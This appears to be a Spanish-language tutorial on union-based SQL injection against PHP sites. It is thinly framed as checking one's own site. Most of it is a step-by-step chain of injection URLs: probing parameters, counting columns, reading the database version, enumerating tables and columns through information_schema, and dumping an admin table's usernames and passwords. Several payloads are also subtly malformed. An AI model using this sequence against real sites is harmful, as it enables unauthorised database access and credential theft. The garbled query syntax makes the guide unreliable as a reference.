Está en la página 1de 4

GUIA INJECTION SQL [SQLI]

BY HGP

Que es y como funciona la SQLi (Inyeccin SQL).


Contenido
Que es?.
Descripcin.
En que lenguaje veremos su uso?.
Como saber si el sitio es vulnerable.
Proseguir si el sitio Web es vulnerable.
Explorar tu information_schema.tables
Viendo tu usuario y password para saber tu seguridad.
Conclusin.

1.Que es?
La Inyeccin SQL o SQLi es una vulnerabilidad centrada en consultas de la base de datos de una
aplicacin, esta vulnerabilidad puede estar en todo tipo de lenguajes de programacin como por ejemplo
PHP, JAVA, PERL, C#, ASP, etc.

2.Descripcin
Una Inyeccin SQL o SQLi suele suceder cuando se inyecta un cdigo SQL al lenguaje para alterar el
contenido y su funcionamiento normal y hacer que se ejecute el cdigo malicioso en la base de datos. La
mayor de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este cdigo puede
ser reparado por programadores o personas que tengan el conocimiento suficiente para poder reparar el
error.

3.En que lenguaje veremos su uso?


PHP, ser el lenguaje que usaremos para esta gua, ya que es en el que mas me domino, las paginas php
son las que terminan con .php, como por ejemplo:
pagina.cl/index.php

4.Como saber si el sitio es vulnerable.


Para saber si el sitio es vulnerable existen varias formas de saber, como la versin del lenguaje php, si te
creaste una Web con un autoinstalador como SMF, PHP NUKE, etc,
procura siempre tener la versin mas nueva, ya que existen exploits o vulnerabilidades que pueden ser
explotadas para que el sitio tenga un mal funcionamiento, se dice que PHP NUKE es uno de los
proveedores de sitios php mas vulnerables, no se garantiza tenerlo solo por sus Themes "Temas" y su
facilidad, se recomienda hacer paginas Web con el lenguaje HTML.
Tu sitio Web podra ser vulnerable a sus ID, actions, opcions, etc., estas vulnerabilidades quizs tu ya las
hallas visto como:
pagina.cl/search.php?id=NUMERO
pagina.cl/menu.php?act=NUMERO
pagina.cl/index.php?opc=NUMERO
Algunos de esos podran tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habr
que hacer una consulta como:

pagina.cl/search.php?id=-1
pagina.cl/menu.php?act='2
pagina.cl/index.php?opc=99999999999999999999999999
Hay que probar con esas que son las bsicas, en la primera sale -1, las pginas siempre estn con
nmeros positivos es raro ver una pgina Web que tenga opciones con -1, -2 entonces causa de esto
puede salir un error de SQLi, la pantalla podra ponerse blanca, etc.
En la segunda es un '2, por qu '?, porque ' es un signo que no se usa en las pginas webs, o acaso has
visto una Web que use ', el 2 es cualquier nmero pero la mayora de las veces resulta el nmero 2, para
saber si funciona sale lo mismo que en el ejemplo anterior.
En la tercera nunca ponen tantos nmeros si te das cuenta casi siempre el usuario admin es pagina.cl o 1
porque es el primer miembro que estuvo pero si yo pongo pagina.cl la pagina Web colapsa y entregara
errores.
Ejemplo de error:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/home/public_html/users.php on line 16

5.Proseguir si el sitio Web es vulnerable.


PD: IMPORTANTE, si la web es vulnerable los 99999999 y -1 solo pueden continuar, el '2 da
errores.
Si el sitio Web resulta vulnerable, y si es t Web tendras que saber si entrega datos importantes como la
"Information_schema.tables", que contiene toda informacin de el sitio Web, las columnas, tablas, etc.
Primero como ya sabemos que el sitio Web es vulnerable debemos poner:
pagina.cl/users.php?id=-1+
Tenemos que poner el signo "+" pero obviamente antes la vulnerabilidad encontrada
luego debemos hacer un union+select+ que es para unir la seleccin de la vulnerabilidad y seguir, ahora:
pagina.cl/users.php?id=-1+union+select+
Quedara as, como ya tenemos eso ahora debemos poner los nmeros para ver que numero es el que
tiene el error, una de las formas que se utiliza es as:
pagina.cl/users.php?id=-1+union+select+1,2,3,4,n
Tenemos que hacer esto asta que la web muestre nmeros o cambie, pero debe mostrar nmeros esos
nmeros que muestre son los errores, entonces podemos ver si nuestra Web es vulnerable o no, para
saber tenemos que ver la versin:
pagina.cl/users.php?id=-1+union+select+1,2,3,@@version,5,6,7,8,9
Si fuera tu Web y es vulnerable podra decir algo como: 5.0.38-Ubuntu_0ubuntu1.4ahora que tenemos la
versin este es un breve resumen de las versiones:
Versin 5.X.XX tienen information_schema.tables (Mas Probabilidad de ser atacadas)
Versin 4.X.XX no tienen information_schema.tables (Menos Probabilidad de ser atacadas)
Lo dems es el S.O que se esta usando en el Host. Si tu Web no es 5.X.XX podras estar feliz de que
tienes menos posibilidad de que "Defaceen" tu sitio Web.Pero si tu Web es 5.X.XX tienes mas
probabilidades, para saber si tu pgina Web muestra datos importantes tendremos que borrar lo que
hicimos (@@version) y cambiarlo por el numero que tenia el error, ahora debemos ver el
information_schema.tables de nuestro sitio Web, el cdigo es as:
pagina.cl/users.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,
7,8,9+information_schema.tables
El cdigo en si explicado es cambiar el numero que tiene error (que se muestra) por
"group_concat(table_name)" que significa que busca el grupo de tablas (Todas) luego de eso seguimos
con los otros nmeros y al final se le agrega "+information_schema.tables", si te tira cosas como:

"CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET _APPLICABILITY,etc."
Es porque tu sitio es vulnerable y podras perderlo si alguien tiene conocimientos y un pensamiento
nefasto.
Pero el codigo anterior es un poco desordenado este es otro compuesto por frases en hexadecimal:
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na
me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables

6.Explorando tu information_schema.tables
Ahora que sabemos que en nuestro sitio es visible el information_schema.tables, debemos saber que
informacin obtendr el atacante.
primero debemos saber que queremos explorar... como por ejemplo usuarios
las paginas web no son tan "prehistricas" para solo poner usuarios y te saldrn los datos as que
encriptaremos la tabla que queramos ver a ASCII.
(Convertidor: String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string
hexadecimal / hex conversion)
Codificamos a ascii la tabla que queramos y la dejamos anotada, la ma es (97 100 109 105 110)
a nuestro cdigo en ASCII le sacamos los espacios y los remplazamos por comas:
97,100,109,105,110
Ahora volvemos a el cdigo para ver el information_schema.tables, pero ahora lo que vamos a ver son
columnas (Son lo que esta dentro de una tabla) Ejemplo:
Tabla: Admin
Columna: ID, User_Name, Password, Email
Entendido?, entonces remplazamos
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na
me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables
table_name por column_name
information_schema.tables por information_schema.columns
quedara as:
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co
lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns
Ahora nos tirara datos que no habamos visto, pero ignoren esto, ya que no es muy importante ahora lo
que tienen que hacer es agregar despus de .columns esto:
Quedara as:
pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co
lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns+where+table_name=char(ASCII)Ahora ya sabemos lo que esta dentro de la tabla que queramos!, hemos explorado nuestra
information_schema.tables eso es un gran avance.

7.Viendo tu Usuario y Password Para saber tu seguridad


Ahora como sabemos todo esto podemos ver que hay en estas columnas!, para saber debemos ir muy
atrs y tener nuestro cdigo principal que es este:
pagina.cl/users.php?id=-1+union+select+1,2,3,4,5,6,7,8,9
Cierto?, Bueno ahora manos a la obra (Frase Prehistrica), Bueno nosotros sabemos que el cdigo

donde esta el error es el que se ve en la pagina web que es un nmero; en esta gua el nmero es 4 as
que remplazaremos el numero 4 por concat(Columna,0x3d,Columna).
Entonces el Cdigo quedara as:
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna), 5,6,7,8,9
No me refiero a que se deba poner s o s "Columna" eso se debe renombrar por los datos que nos dio el
information_schema.columns, como el ejemplo que di:
Tabla: Admin
Columna: ID, User_Name, Password, Email
Entonces quedara as:
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor d),5,6,7,8,9
Ahora tengo que decirles que este cdigo no esta completo, al final de los nmeros les
agregamos +from+Tabla-Entonces quedara algo as:
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna),
5,6,7,8,9+from+admin-y renombrando quedara:
pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor
d),5,6,7,8,9+from+admin-Ahora te podria dar tu usuario y clave, si te deniega es porque tu host es mas seguro de lo que pensabas,
si te las da, procura que nadie sepa el error antes que tu y arreglalo.

8.Conclusin
Ahora sabemos que nuestro sitio es vulnerable (o no) tenemos que reparar el error, eso no esta en este
tutora, ya que los errores varan, este tutorial no es para destruir pginas sino para la seguridad
informtica de nuestro sitio Web, dedicado a CHW.CL y a todos los que tengan sed de aprender.

También podría gustarte